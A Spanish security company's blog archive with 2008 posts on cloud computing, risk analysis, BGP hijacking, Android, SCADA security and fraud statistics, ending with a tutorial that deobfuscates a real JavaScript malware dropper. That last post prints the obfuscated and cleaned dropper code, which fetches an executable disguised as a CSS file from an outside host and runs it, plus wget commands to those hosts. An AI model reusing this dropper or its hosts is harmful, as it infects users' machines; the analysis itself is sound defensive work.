Español | English
rss facebook linkedin Twitter

Cloud computing: ¿el futuro en la informática?


Estos últimos días vengo teniendo una reflexión sobre lo que nos puede deparar el futuro de la computación que quería compartir con vosotros. No existe ninguna duda acerca de la cada vez más patente explosión de casos de fraude descentralizado usando nuestros ordenadores como medio. Es así mismo bien sabido que Google apuesta por el concepto de Cloud Computing en el que volvemos a revivir la historia de la informática al más puro estilo renacentista. ¿Sería este nuevo acercamiento a la informática un medio para mitigar los casos de malware y fraude al centralizar la potencia de cálculo y almacenamiento?

El tejido empresarial que nos proporciona un consumo de "cultura" en forma audiovisual poco a poco se va dando cuenta, muy a su pesar, de que nos va dando más pereza bajar al videoclub o comprar un disco de música porque nos guste esa canción que repiten 25 veces al día en la radio. ¿Qué necesidad hay de tener esos bits fisicamente con nosotros? ¿No es posible una disponibilidad global del contenido en cualquier terminal tonto o reproductor inalámbrico a través de la 4G?

Sin lugar a dudas, las telcos que nos ofrecen, como particulares, infraestructuras que llegan al consumidor con mayor calidad, aunque con unas líneas descaradamente asimétricas, se pueden encontrar con una curiosa paradoja en un futuro cercano: por un lado su asimetría hace que el P2P y el tráfico de las botnets no les saturen las líneas, pero por otro, la simetría en una hipotética red gobernada por nodos de inteligencia centrales que guardan nuestros perfiles y datos se ve bastante necesaria, sobre todo teniendo en cuenta que las botnets y el spam podrían prácticamente desaparecer.

Es cierto, hay que solucionar algunos flecos, dado que la buena salud, disponibilidad y seguridad de la red de redes es esencial para que no surjan nuevos ataques orientados a la infraestructura más que a los nodos extremos. Quizá por este motivo sea necesario esperar (o forzar, vete tú a saber) el definitivo asentamiento de IPv6, que además nos promete un canuto cifrado por diseño.

De lo que no hay duda es que los gobiernos serían felices con un modelo de cloud computing. Qué mejor que poder mirar debajo de la alfombra con una cobertura legal en busca de información sospechosa por las líneas por las que viajen nuestros documentos. Qué mejor que tener, a golpe de orden judicial (o ni eso) acceso a nuestro almacenamiento virtual, sin preocuparse de tener que llegar a los equipos finales. Creo que también nosotros los usuarios finales, como las telcos, nos encontramos con una disyuntiva: ¿nos quedamos con nuestros portátiles y nos van concienciando de la inseguridad de formar parte de la Red, o delegamos las preocupaciones a terceras partes que nos aseguren la disponibilidad, seguridad y confidencialidad de nuestros datos? Yo desde luego, no lo tengo nada claro.

Álvaro Ramón
S21sec labs





El Análisis de Riesgos es... ¿dinámico o estático?

Antes del verano, participé de un debate muy interesante con algunos compañeros sobre la naturaleza del Análisis de Riesgos. Básicamente, de lo que estuvimos hablando fue de si el análisis de riesgos era algo estático o dinámico.

Todo ello, porque un cliente estaba interesado en la forma en la que funciona UMSS (ya sabéis, Unified Management Security System, nuestra plataforma de gestión integral de seguridad). El debate surgió porque la filosofía del análisis de riesgos en UMSS es estática y eso parecía que no servía para realizar una adecuada gestión de la seguridad. Y como estuvimos bastante tiempo con ese debate, pensé que era bueno compartirlo con todos nuestros lectores y ver que opinaban ellos (vosotros).

Así que voy a tratar de explicar los argumentos a favor de este planteamiento estático del análisis de riesgos y voy a tratar de hacerlo con un símil de gestión empresarial: El concepto que vamos a utilizar para el análisis sería el equivalente a un presupuesto. Sería como la previsión comercial que hacemos a principio de año:
  • Tenemos unos clientes a los que podríamos realizar ventas (serían nuestros activos).
  • Tenemos productos y servicios que podríamos venderles (que equivaldrían al concepto de amenaza - curioso, verdad).
  • Evidentemente, existen condiciones en esos clientes que los hacen susceptibles de necesitar los productos y servicios (esa es su "vulnerabilidad").
  • Y finalmente, tendríamos una probabilidad estimada de que se produjera la venta de un determinado producto / servicio por un determinado importe (conceptos equivalentes a probabilidad de ocurrencia de la amenaza e impacto).
Alrededor de esta previsión, se articula toda la actividad de la organización: dimensionamiento de equipos, capacidad productiva, etc... Pues exactamente lo mismo ocurre con el análisis de riesgos. Después de realizar el ejercicio de estimar, de la forma más "exacta" posible, se utiliza para la toma de decisiones: inversión en controles de seguridad, subcontratación de actividades, etc... Es decir, es una herramienta para la toma de decisiones.

Y al igual que en el caso de las previsiones de ventas, lo que es más importante y a lo que ne se presta suficiente atención es al seguimiento de las desviaciones respecto a las estimaciones iniciales. Por tanto, aunque el análisis de riesgos es algo estático no lo es así la gestión de riesgos que, evidentemente, es una actividad continua.

Evidentemente, esto no sifgnifica tampoco que no se considere el riesgo salvo de manera discrecional, en absoluto. De hecho, cada vez que se produce cualquier tipo de incidentes que hay que gestionar, el primer factor que se ha de considerar es su impacto en la actividad de la organización; es decir, UMSS prioriza las incidencias en función del nivel de riesgo. Pero respecto al análisis de riesgos, lo que hacemos es una estimación inicial y, a posteriori, comprobar cuánto hemos fallado / acertado en esa estimación.

Aunque pudiera parecer algo diferente, en realidad no es así, si estáis familiarizados con el Nuevo Acuerdo de Capital de Basilea, es el mismo modelo que se utiliza para la gestión del riesgo operativo; con la diferencia de que los bancos centrales serán (están siendo) muy rigurosos a la hora de validar cómo se han realizado esas estimaciones (qué modelos estadísticos de predicción se han utilizado y qué datos se han utilizado para realizar los cálculos; puesto que de estos factores depende la bondad de la estimación).

Lo ideal sería que llegara un momento en que no hubiera estimaciones, sino cálculos deterministas que eliminaran la subjetividad del análisis (con los márgenes de error que corresponda según el modelo utilizado). Pero eso es ya otra historia... y este post se ha alargado demasiado.

Antonio Ramos
Director de Unified Management Security Services





Vulnerabilidad en BGP, otra vez la misma historia

Últimamente parece que está de moda el comentar que se ha encontrado la mayor Vulnerabilidad de Internet; pasó con la vulnerabilidad de DNS, y ahora está pasando con BGP (podéis leer un breve resúmen sobre BGP y la seguridad o una interesante entrevista a Courtney Love sobre aspectos básicos del mismo).

Antes de nada, tenemos que hacernos una serie de preguntas relacionadas con la Seguridad en BGP:
  1. Si un router recibe un anuncio de un prefijo BGP procedente de un sistema autónomo (AS) determinado, ¿cómo podemos verificar que ese AS está autorizado a anunicar ese prefijo?
  2. Si recibimos un anuncio de un prefijo BGP en un AS determinado, ¿cómo podemos verificar que realmente sabe llegar a ese prefijo?
  3. ¿Está el router que anuncia cierto prefijo autorizado a anunciarlo? Y si es así, ¿a quién?
  4. ¿El camino que se anuncia por parte de un router BGP cumple la políticas (RPSL) de intercambio de rutas que tenemos definidas?
Básicamente estas preguntas reflejan un problema de seguridad en el protocolo BGP conocido hace muchos años, y que durante muchos años también ha estado siendo utilizado, de forma voluntaria o involutaria, por numerosos ISP.

Por gracia o desgracia, la mayoría de los protocolos existentes en Internet se diseñaron en su día para que fueran eficientes, pero nunca se pensó en un ambiente tan hostil como el actual. Debido a ello, posteriormente se sacaron nuevas características para intentar suplir los problemas (tanto de seguridad como de eficiencia, etc.) pero que muchas veces son muy costosos de desplegar. Estas nuevas características muchas veces solucionan problemas de seguridad inherentes al protocolo (recordemos el DNSSEC en el protocolo DNS) pero no sirven generalmente a no ser que todo el mundo lo utilice. En el caso de BGP, existen desde hace tiempo propuestas para intentar solucionar los problemas que estamos comentando de seguridad, principalmente SBGP y su hermano menor SoBGP que hoy en día no se utilizan porque realmente requiere cambiar muchas cosas ($$$):
  • Hay que establecer algo parecido a una PKI para que, utilizando certificados X509v3, se pueda garantizar principalmente la autenticidad de los aspectos relativos al protocolo BGP
  • Muchos routers tendrían que ser cambiados por versiones más potentes porque no son capaces de, no sólo intercambiar rutas, sino de verificar su autenticidad (un ejemplo parecido puede ser HTTP y HTTP con SSL, pensad la carga que sufre un servidor que tenga que soportar SSL respecto a uno que no)
La realidad hoy en día (según el CIDR Report) es que existen 317 números AS fantasmas, y 392 anuncios de ruta fantasmas; estos datos ya indican un poco el descontrol que existe en el protocolo BGP, y la facilidad que existe en publicar anuncios de rutas que no son tuyas. 



El ejemplo más claro ocurrió con YouTube y Pakistan Telekom el 24 de Febrero de 2008 (información completa aquí). Básicamente el Gobierno de Pakistán ordenó a los ISP de ese país bloquear el acceso a YouTube (muchos gobiernos hacen cosas parecidas con otras webs), concretamente 3 direcciones IP. Para poder realizarlo, un ISP tiene principalmente 3 opciones:
  • Poner ACL en sus routers para impedir el acceso a esas direcciones IP (drop/reject)
  • Poner rutas estáticas en todos su routers para redirigir ese tráfico hacia la nada
  • Utilizar BGP para que rápidamente todos sus routers puedan redirigir el tráfico hacia la nada
Si usamos la segunda o tercera opción, y dentro de nuestra política de intercambio de rutas no tengo bien especificado que rutas intercambio o no, lo que puede ocurrir (y ocurrió) es que dentro de la red de Pakistan Telekom todos los routers sabían que el tráfico hacia ciertas direcciones IP (realmente era una red entera /24) lo tenían que redirigir hacia la nada, pero también empezaron a hablar con routers de otros ISPs diciendo que ellos sabían encaminar el tráfico hacia esa red (aunque luego lo llevaran a la nada). Si a eso sumamos que Youtube publicaba sus redes con un rango de direcciones IP más amplio (/22) y que el protocolo BGP siempre elige el rango más pequeño y concreto, en Internet todo el mundo que quería ir a YouTube terminaba en Pakistan Telekom yendo a la nada.

El ejemplo de YouTube demuestra lo fácil que es secuestrar rangos de direcciones por no existir un método fiable de comprobar si realmente Pakistan Telekom estaba autorizado a publicar esas rutas o no. Incluso en Internet hay rangos de direcciones asignados a ciertas empresas o gobiernos, que éstas no anuncian, pero de vez en cuando se ven routers ofreciendo esos rangos (un ejemplo son las direcciones 7.0.0.0/8, 11.0.0.0/8 y 30.0.0.0/8 pertenicientes al Departamento de Defensa de EEUU).

Realmente hasta que no se dé el siguiente paso y se empiecen a utilizar alternativas como SBGP o SoBGP, la única solución es filtrar los anuncios de rangos que se están intercambiando. Este papel lo deben hacer los ISPs con sus clientes, y con los otros ISPs con los que intercambian tráfico, pero que tampoco es nada sencillo, puesto que esas listas son siempre difícil de mantener y actualizar (además que igual los routers actuales no son capaces de soportar la carga extra de comprobar la lista).

Lo que se ha comentado en la charla de Defcon (que se hizo a última hora y nosotros ni nos enteramos que estaba) es una forma más inteligente de poder realizar el secuestro de tráfico sin que exista ningún corte en la comunicación (AS prepending) y de hecho parece que hicieron una demonstración en directo.

Conclusiones:
  • La vulnerabilidad realmente no es nueva, aunque por supuesto, es muy importante
  • Si eres una empresa o usuario final, la única forma de saber que nadie va a fisgar ni modificar tus comunicaciones es con cifrado punto a punto (end to end encryption)
  • Si eres un ISP, filtra correctamente las rutas que exportas/importas y estate atento a servicios que controlan estos temas: PHAS, MyASN, Renesys, IAR, ...
  • Los protocolos que usamos en Internet se diseñaron para ser eficientes, útiles, y sobre todo, fueron diseñados hace 20 ó 30 años. No están pensados para un entorno hostil como el actual.
Más información útil, en la lista NANOG y en el blog de Arbor Networks.

David Barroso
S21sec e-crime





Android





Android es un SDK destinado a la creación de aplicaciones para móviles. El propio software está compuesto por un sistema operativo basado en kernel Linux, un middleware y soporte para ciertas aplicaciones.

Hasta aquí perfecto, ¿pero qué pasa con el tema de seguridad?

En realidad este SDK presenta una serie de funciones más que apetecibles, para poder crear multitud de aplicaciones y poder atraer a usuarios (¿y competir con el iPhone?) Entre ellas la posibilidad de integrarlo con Google Talk usando el servicio GTalkService (Google Talk Friends). Se podrían crear aplicaciones de juegos on-line por ejemplo que utilizando esta tecnología permitiese a los usuarios el poder interactuar entre sí. Pero claro, al ser un sistema de mensajería instantánea, implica que debemos añadir a todos estos usuarios "anónimos" a nuestra lista de amigos, por lo que estos usuarios tendrán acceso a ciertos datos un tanto "escabrosos" como tu verdadera dirección de correo o incluso tu verdadero nombre. Además, cuando abramos la aplicación Google Talk de escritorio nos encontraríamos con infinidad de amigos que en realidad sólo han compartido una partida on.line con nosotros de forma ¿anónima?.

Como podéis imaginar esto es algo que ha sido detectado y se ha preferido retrasar esta funcionalidad para otras versiones en los que este tipo de problemas esté solventado.

Si queréis ahondar más en el "recorte" de funcionalidades previstas, por temas de seguridad, en la versión del SDK publicado podéis consultarlo aquí.

José María Arce Guillén
S21sec labs.





Race to Zero: conclusiones

Durante esta última edición de Defcon, se celebró el controvertido concurso denominado 'Race to Zero', que como comentamos ya en una entrada anterior, causó un pequeño revuelo entre los vendedores de software antivirus.

Este concurso se celebraba en el salón multiusos adyacente al CTF donde nuestros colegas de Pandas with Gambas intentaban realizar sus breakthrough, un salón donde se congregaban personas de diferentes países, y sobre todo, de diferentes formas de vida (había un par de norteamericanos que eran unas máquinas al Guitar Hero, algunos maestros de lockpicking, y mucha gente que hacía cosas demasiadas extrañas para preguntar). En realidad el concurso se celebraba en 4-5 mesas donde había unas 10-15 personas.

El concurso en sí no despertó mucho interés de los asistentes a Defcon, más preocupados con la charla de Dan Kaminsky (la misma que dió en BlackHat en el Caesars), y realmente todos los equipos se afanaban en conseguir mutar los 10 ejemplares que se suministraron usando una mezcla de OllyDbg, IDA y algún editor hexadecimal (el mítico hiew). Nuestros amigos de iDefense se habían presentado (nos contaron que habían estado preparando algún packer polimórfico durante estas últimas semanas), y consiguieron completar todos los especímenes en unas 6 horas. Bueno, realmente todos no, puesto que una prueba consistía en un exploit de Word 2000 y nadie tenía un Microsoft Office 2000 :).

La cobertura por parte de la prensa ha sido escasa (a pesar del interés inicial), pero hay algún site donde comentan el transcurso del evento, y parece que ninguna casa antivirus ha comentado nada al respecto, pero lo que sí que es evidente, y ellas lo reconocen, que es necesario replantearse la manera de luchar contra el código malicioso.

Actualización (27/08/2008): Rafa Sanchez nos comenta una entrada en su blog relacionada con el tema.

David Barroso
S21sec e-crime





Prensa amarilla

Como algunos sabréis, este fin de semana se ha disputado en Valencia el Gran Premio de Europa de Fórmula 1. De viernes a domingo he podido disfrutar del sol de Valencia, del ruido de los coches y de los rumores que, como cualquier aficionado a este deporte conocerá, inundan la prensa de noticias, en muchos casos infundadas.

Me hago eco de un rumor que se ha ido convirtiendo en una bola gigante a medida que la temporada ha ido avanzando, y que tiene que ver con un fallo de software, o quizás no sea un fallo, ya me entendéis.

La cuestión es que a partir de este año existe un dispositivo estándar para todos los equipos, la unidad de control de motor (ECU), que se encarga de vigilar que las escuderías no hagan trampas, controlando el motor, la caja de cambios, el embrague, el sistema hidráulico, etc., y evitando entre otras cosas telemetría bidireccional que permita a los ingenieros controlar el coche desde los boxes. La FIA encargó en 2006 a Microsoft y McLaren Electronic Systems la creación de esta centralita. Llama la atención este encargo, a pesar de que McLaren Electronic Systems se declara independiente del grupo McLaren.

Este dispositivo recoge información de varias decenas de sensores de todas las partes del coche y lo envía, a razón de unos 300KB por segundo, a la ECU, y ésta transmite en tiempo real, de forma segura y cifrada, esta información a los ingenieros, evitando posibles robos de información por parte de otros equipos. Decir que se usan Windows Vista y SQL Server para parte de estos menesteres de la ECU.

A principios de año los ingenieros de los equipos se quejaban de no poder controlar ciertos parámetros del coche ni conseguir la información necesaria, y de este modo no podían saber bien por qué su motor se rompía o por qué tenía diferentes comportamientos, por culpa de la nueva ECU, e incluso algún equipo dijo haber encontrado un bug que permitía, pulsando varios botones secuencialmente, modificar la ECU de tal forma que se pudiese gestionar, entre otras cosas, el control de tracción, algo totalmente prohibido. Todos miraron a McLaren.

La cosa ha estado calmada durante cierto tiempo, ya que el campeonato estaba igualado, y casi nadie se fijaba ya en la nueva ECU. Pero en los últimos tiempos, el claro dominio de McLaren ha avivado la polémica. McLaren está usando 4 levas en su volante, dos para el cambio y dos para la tracción. Al parecer consiguen gestionar el control de tracción de una forma mecánica, algo que no queda muy claro si es lícito. De hecho la propia FIA decidió revisar el coche de Hamilton de manera sospechosa hace varias semanas, sin dar explicaciones al respecto, creando dudas al respecto sobre la posible relación de la ECU con las levas.

Otro tema espinoso es la posibilidad de que se esté realizando spoofing con este sistema. Dado que la ECU debe mandar unos datos concretos, una posibilidad barajada es que el coche esté funcionando de una manera y que los datos que lleguen a la ECU no sean los mismos que los que salen de los sensores. Así se consigue burlar la normativa de la FIA y disponer de un coche con mayores posibilidades que el resto. ¿Es esto posible? Posible es, aunque parece difícil colocar un sistema de spoofing entre los sensores y la ECU sin que nadie de la FIA se dé cuenta al revisarlo.

Ya sabemos que la Fórmula 1, llena de tecnología, tiene su cara oculta, y muchas veces se aprovecha esto para exagerar en los rumores. Aunque... vete a saber, el mundo de la Fórmula 1 también tiene rumores que luego resulta que son ciertos.


Miguel López-Negrete
S21sec labs





Estandares de cifrado de datos

Existen muchos algoritmos de cifrado de datos. Y no todos están definidos por los estándares norteamericanos. Es cierto que el AES, DES, RSA y otros algoritmos de cifrado han copado el mercado, pero Europa y Japón tienen sus propios estándares, sus propios concursos para buscar los mejores algoritmos de cifrado. Después de la vulnerabilidad descubierta en el generador de números aleatorios para AES propuesto por la NSA, es hora de conocer en qué trabajan los Europeos (NESSIE, eCRYPT, eSTREAM) y Japoneses (CRYPTREC).

Lo primero es saber quién es quién. NESSIE y CRYPTREC son los equivalentes Europeo y Japonés del NIST norteamericano. Ambos proyectos buscaban un estándar de cifrado, secure hashing, y message digest entre los años 2000 y 2004. Actualmente en Europa NESSIE ha sido reemplazado por eCRYPT, que se encarga no solo de decidir qué algoritmos de cifrado son los mejores para Europa, sino de investigar todos los aspectos de la seguridad de la información, como criptografía, criptoanálisis, watermarking digital y drm (MPEG-21) entre otros. eSTREAM forma parte del proyecto eCRYPT y durante 4 años ha realizado un concurso para seleccionar 8 algoritmos de cifrado de flujos de información. Algunos de los algoritmos de cifrado de eSTREAM son sorprendentes por su simplicidad y su resistencia al criptonálisis necesitándose en la mayoría de ellos un mínimo de 2^64 bits de datos para poder empezar un ataque.

Aunque la mayor parte de los estudios y documentos de NESSIE y eCRYPT son privados, los resultados de sus decisiones sobre qué algoritmos usar son públicas, así como la descripción de los algoritmos elegidos. Seguramente ninguno de estos estudios conseguirá desplazar a los de NIST con su AES pero una cosa es segura, hay opciones de sobra para no depender de decisiones "extranjeras".

Eduardo Morrás
S21sec labs





Vulnerabilidades durante el primer semestre de 2008

El volúmen de publicaciones de vulnerabilidades sigue siendo un fenómeno constante, tanto en el número como en la forma de explotarlas.  Si hace un año en este mismo periodo se hablaba de más de 1800 vulnerabilidades registradas en la base de Vulnera, durante este año 2008 lo hacemos de más de 2800 vulnerabilidades comprendidas entre los meses de Enero y Junio (ambos incluidos) de 2008.

En lo referente al grado de conocimiento necesario para poder explotarlas según el tipo de vulnerabilidad provocada (desde gravedad Baja o Media-Baja hasta gravedad Media-Alta o Alta) sigue siendo parecido; el volúmen de todos los registros se basa entre vulnerabilidades con una gravedad Media-Baja (2514 registros) frente a Media-Alta ( 92 registros).

Si nos fijamos en el tipo de error más frecuente para poder explotarlas, sigue siendo el "error de validación de introducción" (Input validation error) el que se encuentra en primer lugar, algo que parece totalmente razonable.

Este tipo de errores nos dan un pista de por dónde pueden ir los ataques este 2008. El robo de información como contraseñas, información bancaria, historiales de navegadores será una constante este año. Además con el crecimiento en el uso de todo tipo de dispositivos móviles tales como teléfonos móviles de última generación (siendo el caso más claro el iPhone) , se espera que este año también se creen otro tipo de vulnerabilidades para atacarlos visto el éxito de algunos troyanos . En la gráfica anterior también se aprecia un tipo de error bastante frecuente en este primer semestre; “error de validación de introducción”. Como se ha comentado antes no sólo se espera este año un incremento de ataques mas sofisticados de phishing sino también una preocupación cada vez mayor por el incremento de ataques provocados desde dentro de la propia empresa por parte de sus empleados.

Patxi Irisarri
S21sec e-crime





En el primer semestre de 2008 se registraron más casos de fraude online que en todo 2007

Hace tiempo que terminó la época en la que muchos ataques eran fruto de la curiosidad y de demostrar la valía de ciertos adolescentes. Hoy existen bandas de crimen organizado que utilizan todos los recursos y tecnologías presentes en Internet para garantizar su anonimato. Así lo refleja el último informe de fraude online publicado ayer por S21sec. Durante la primera mitad de 2008, la unidad S21sec e-crime detectó y solucionó un total de 1.842 casos de phishing, troyanos, redirectores y otras actividades calificadas de fraude online, 198 más que en todo 2007. Como podéis ver esta cifra resulta muy superior a la alcanzada en años anteriores y, la tendencia es la misma de cara a estos últimos meses del año.



El phishing continúa siendo una de las principales preocupaciones ya que supuso el 60% del total de casos en 2008, pero durante este periodo se ha incrementado el número de troyanos detectados llegando a representar un 37% de los casos. Junio fue el mes en el que más ataques de phishing se registraron de la historia (423), esperemos que esta cifra no siga en aumento pero no podemos predecir nada.

El país de procedencia del mayor número de ataques sigue siendo Estados Unidos y el tiempo medio de cierre de sitios fraudulentos fue de 1,6 días.

En el informe podéis encontrar información y estadísticas muy interesantes respecto a la evolución y tendencias del fraude online. Os animamos a descargároslo y a profundizar en su lectura.

Maria Asín

Marketing S21sec





Particularidades de los entornos SCADA

A nada que uno empiece a indagar un poco en las problemáticas de seguridad de los sistemas de control industrial (ej. sistemas SCADA) no tardará demasiado en tropezar con algún artículo en el que se haga mención a la imposibilidad de aplicar a este tipo de entonos las medidas tradicionales de seguridad del mundo TIC, al menos no de una manera fácil y directa. Hay varias causas que contribuyen a este hecho y que trataré de desmenuzar en esta entrada.


Primeramente hay que tener claro que en sus or ígenes un sistema de control lo conformaban un conjunto de dispositivos basados en hardware y software propietario, interconectado por protocolos de comunicaciones, también propietarios, y radicalmente distintos del modelo TCP/IP. Además estos sistemas se encontraban físicamente aislados del resto del mundo y su objetivo fundamental era maximizar el rendimiento, la robustez y la disponibilidad del sistema, dejando de lado aspectos relacionados con la seguridad lógica. Sin embargo sí que se mantenían, y se siguen manteniendo, férreos controles de seguridad fí sic a, como el control de accesos a áreas restringidas. En la actualidad, en aras de lograr una reducción de costes en la producción y por ende un incremento en los beneficios, las empresas que utilizan sistemas de telecontrol han comenzado a introducir la tecnología TCP/IP, a estandarizar los protocolos de control, a adoptar sistemas operativos estándar como Windows y Linux y, f inalmente, a interconectar estas redes con la red empresarial o corporativa así como con Inter net. Por lo tanto nos encontramos con un entorno híbrido en el que se entremezclan tecnologías que son viejas conocidas en el mundo TIC con las más propias del mundo del control industrial. Así, amenazas como el malware y los hackers se encuentran con la posibilidad de actuar de manera remota, y con herramientas y técnicas tradicionales. Para evitarlo, lo inmediato sería introducir las tecnologías de seguridad propias de los entornos TIC: firewalls, IDS, antivirus, UTM, etc. No obstante, existen ciertos condicionantes que se derivan de la propia naturaleza y operación de los entornos de control, que hacen que sean necesario una adaptación de estas tecn ologías o incluso la creación de nuevas soluciones.

Uno de los aspectos que más condicionan la aplicabilidad de las soluciones de seguridad tradicionales en los entornos de control industrial, es la necesidad de garantizar respuestas a tiempo y en el instante preciso. Por ejemplo, si se produce una reducción no controlada de la producción de electricidad de un generador principal será vital que el generador secundario compense esa reducción justo en el instante preciso y así evitar una inestabilidad en la red. Esto se traduce en que las órdenes de control que gestionan este proceso deben llegar a tiempo y en el instante preciso a los sistemas pertinentes. Por lo tanto, ni el retardo excesivo en la respuesta ni su variabilidad (jitter) son aceptables. Así, el uso de un firewall, cuyo rendimiento varía mucho según la carga de trabajo, introduciría un jitter en la red que podría hacer fracasar al sistema de control ante un intento de ataque de denegación de servicio. Igualmente, si introdujéramos un antivirus, un escaneo intensivo podría sobrecargar la CPU introduciendo en consecuencia un retardo en las operaciones de control.

Otro condicionante importante es la necesidad de funcionamiento 24x7 de estos sistemas. La necesidad de alta disponibilidad de estos dispositivos hace que sea imposible realizar operaciones tan habituales en el mundo TIC como pueden ser un reinicio del sistema posteriormente a haberlo actualizado. En estos casos la redundancia suele ser una solución interesante, aunque costosa.

Por otro lado, cualquier herramienta de seguridad que se quisiera utilizar para hacer una auditoría, requeriría un testeo previo en un entorno réplica del de producción para garantizar que no se vayan a producir consecuencias inesperadas. Hay que tener en cuenta que gran parte del SW en los entornos de control están programados para que funcionen bajo condiciones normales de operación y no lo están para resolver las situaciones ilógicas a las que pueden presentarles los escáneres de vulnerabilidades. Esto mismo podría aplicarse a los parches de seguridad que distribuyen los fabricantes.

En estos sistemas, el uso de una política estricta de contraseñas carece de sentido porque la capacidad de reacción de una persona ante un incidente tiene que ser máxima. A Grosso modo esto viene a decir que no podemos permitirnos que el ingeniero que está de guardia no recuerde la contraseña de la consola de gestión porque tiene 20 caracteres de longitud cuando un reactor nuclear está a punto de reventar.

Como ya hemos dicho, en los actuales sistemas de control nos podemos encontrar que se entremezclan sistemas antiguos con sistemas más modernos. Estos sistemas más antiguos suelen estar limitados tanto en recursos HW (CPU, memoria, etc.) como por su difícil programación. Estas restricciones a nivel de recursos hacen que en muchos casos no podamos introducir un módulo de cifrado de comunicaciones, o instalar un sistema antivirus.

Igualmente, decir que existe una miríada de sistemas operativos más o menos conocidos así como multitud de aplicaciones, todos ellos formando parte de un mismo sistema. Gestionarlos de manera centralizada (mantenimiento, actualizaciones, etc.) resulta prácticamente imposible lo que hace mucho más compleja la tarea de los técnicos y responsables de seguridad.

Y para terminar no hay que olvidar que muchas de las tecnologías de seguridad no entienden los protocolos de control. Esto supone que hasta que no se añadan extensiones a los mismos, su utilidad se ve muy reducida. Piénsese por ejemplo en los IDS o FW de alto nivel.

Aunque existen algunos otros condicionantes, los expuestos son los más importantes y quizás, los más difíciles de superar. No obstante poco a poco la tecnología evoluciona lográndose adaptaciones más o menos exitosas así como ingeniando nuevas soluciones que recogen algunas de las exigencias anteriores.

Elyoenai Egozcue
S21sec Labs






Yo desofusco, tú desofuscas...

¿Tratando de evitar lo inevitable?

La seguridad por oscuridad nunca es recomendada, y dicho tópico es totalmente aplicable al javascript. Los creadores de malware muchas veces utilizan javascript para infectar nuestras máquinas, y aplican técnicas de ofuscación para tratar de no ser detectados y evitar o dificultar el análisis.

Vamos a ver cómo cualquiera puede analizar un javascript en "dos patadas", analizando un ejemplo práctico e intentando adivinar qué realiza un fichero .js que parezca (o sepamos) sospechoso.

Veamos este fichero de javascript:
http://1.360-1.cn/ms06014.js

$ wget http://1.360-1.cn/ms06014.js
$ cat ms06014.js
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('v{a 7=f.r("\\k\\s\\b\\h\\o\\6\\o\\t\\3\\8\\E\\k\\B\\F\\g\\g\\A","");a j="\\l\\3\\3\\z\\C\\d\\d\\m\\6\\4\\h\\i\\8\\D\\y\\x\\i\\q\\8\\w\\4\\3\\d\\u\\Q\\U\\8\\b\\6\\6";7.T("S",j,0);7.G();5.W=1;5.n();5.X(7.V);c="..\\\\R.K";5.J(c,2);5.I();a 9=f.H("9.L","");9["\\M\\l\\4\\p\\p\\P\\O\\4\\b\\m\\3\\4"](c,"","n")}N(e){}',60,60,'|||x74|x65|as|x73|xml|x2e|Shell|var|x63|path|x2f||ado|x54|x72|x31|url|
x4d|x68|x75|open|x6f|x6c|x36|CreateObject|x69|x66|x62|try|x6e|x2d|x33|x70|x50|
x4c|x3a|x32|x58|x48|Send|createobject|close|savetofile|com|Application|x53|
catch|x78|x45|x61|ntuser|GET|Open|x6b|responseBody|type|write'.split('|'),0,{}))


Vemos que no es nada legible, ya que está ofuscado. En estos casos, lo más sencillo y práctico es ejecutar el javascript, y reemplazar las funciones de evaluación o escritura en la página web por un simple print. En definitiva, cambiamos el "eval" por un "print", y lo ejecutamos:

$ js ms06014.js > limpio.js

Veamos su contenido:
$ cat limpio.js
try{var xml=ado.CreateObject("\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50","");var url="\x68\x74\x74\x70\x3a\x2f\x2f\x75\x73\x65\x72\x31\x2e\x32\x33\x2d\x31\x36\x2e\x6e\x65\x74\x2f\x62\x61\x6b\x2e\x63\x73\x73";xml.Open("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close();var Shell=ado.createobject("Shell.Application","");Shell["\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65"](path,"","open")}catch(e){}


Los strings no están muy claros, asi que veamos qué nos dice una consola de python:

>>> print "\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50"
Microsoft.XMLHTTP
>>> print "\x68\x74\x74\x70\x3a\x2f\x2f\x75\x73\x65\x72\x31\x2e\x32\x33\x2d\x31\x36\x2e\x6e\x65\x74\x2f\x62\x61\x6b\x2e\x63\x73\x73"
http://user1.23-16.net/bak.css
>>> print "\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65"
ShellExecute
>>>

Lo reemplazamos en el script, ponemos un salto de línea detrás de cada ";" y obtenemos:

$ cat limpio.js
try{
var xml=ado.CreateObject("Microsoft.XMLHTTP","");
var url="http://user1.23-16.net/bak.css";
xml.Open("GET",url,0);
xml.Send();
as.type=1;
as.open();
as.write(xml.responseBody);
path="..\\ntuser.com";
as.savetofile(path,2);
as.close();
var Shell=ado.createobject("Shell.Application","");
Shell["ShellExecute"](path,"","open")
}
catch(e)
{
}


Parece que obtiene un fichero (bak.css), lo guarda en un path que él indica y lo lanza. Autoexplicativo, ¿no?
Por supuesto, parece que dicho fichero no es un css, pero vamos a corroborarlo:

$ wget http://user1.23-16.net/bak.css
$ file bak.css
bak.css: MS-DOS executable, PE for MS Windows (GUI) Intel 80386 32-bit


Un exe renombrado a css descargado y lanzado de un javascript ofuscado no puede ser bueno, pero para asegurarnos se lo pasamos al antivirus (podemos utilizar un servicio como el de Jotti: http://virusscan.jotti.org/) y:

AntiVir Found TR/Crypt.XPACK.Gen
ArcaVir Found Heur.Win32.I, Heur.RoundKick
CPsecure Found Troj.Downloader.W32.Small.zie
Dr.Web Found Trojan.DownLoad.3232
F-Prot Antivirus Found W32/Warezov.B.gen!Eldorado
F-Secure Anti-Virus Found Trojan-Downloader.Win32.Small.zie
Kaspersky Anti-Virus Found Trojan-Downloader.Win32.Small.zie
NOD32 Found a variant of Win32/TrojanDownloader.Agent.OBQ
Norman Virus Control Found Suspicious_F.gen
Sophos Antivirus Found Mal/Packer
VBA32 Found Embedded.Trojan-Downloader.Win32.Small.zfq (probable variant)


¡Virus!
